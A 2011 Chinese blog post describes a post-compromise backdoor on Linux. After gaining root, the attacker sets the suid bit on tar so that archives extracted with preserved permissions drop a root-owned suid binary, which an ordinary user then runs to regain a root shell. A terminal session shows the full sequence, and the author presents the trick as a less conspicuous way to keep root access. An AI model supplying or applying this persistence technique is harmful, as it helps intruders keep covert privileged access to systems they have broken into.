利用设置tar的suid来获取root

首先申明,这并不是一个linux tar漏洞,只是在获取linux root后通过tar留的一个后门,在一个正常的linux系统中tar被添加上了suid并不会太多的引人注目。整个执行过程如下

host:~# useradd test
host:~# su test
host:/tmp$ tar xvpf root.tar        
tar_root/
tar_root/2
tar: tar_root/2: time stamp 2010-11-11 04:04:34 is 77742.715113 s in the future
tar_root/3
tar: tar_root/3: time stamp 2010-11-11 04:04:38 is 77746.714984 s in the future
tar_root/1
tar: tar_root/1: time stamp 2010-11-11 04:04:32 is 77740.714952 s in the future
tar_root/sb
tar: tar_root/suid: time stamp 2010-11-11 06:02:47 is 84835.71489 s in the future
tar: tar_root: time stamp 2010-11-11 06:20:08 is 85876.714862 s in the future
host:/tmp$ ls -al tar_root
total 16
drwxrwxr-x 2 test test 4096 Nov 11  2010 .
drwxrwxrwt 5 root root 4096 Nov 10 06:28 ..
-rw-rw-r– 1 test test    0 Nov 11  2010 1
-rw-rw-r– 1 test test    0 Nov 11  2010 2
-rw-rw-r– 1 test test    0 Nov 11  2010 3
-rwsrwxr-x 1 root root 5017 Nov 11  2010 suid
host:/tmp$ ./suid beroot
host:/tmp#

以上的suid之前我们已经提到过了,这里就不重复说这个程序了,因为tar参数p是解压时保留原属性,所以在其他主机上打包suid后tar文件并没有消失suid和root所有者,如此我们只需要在获取root后为tar加上suid即可在下次进入时简单获取root,相对直接放入一个suid程序来说这样更加的“安全”吧!

posted on 2011-04-12 18:50  =_=!  阅读(380)  评论(0编辑  收藏  举报

导航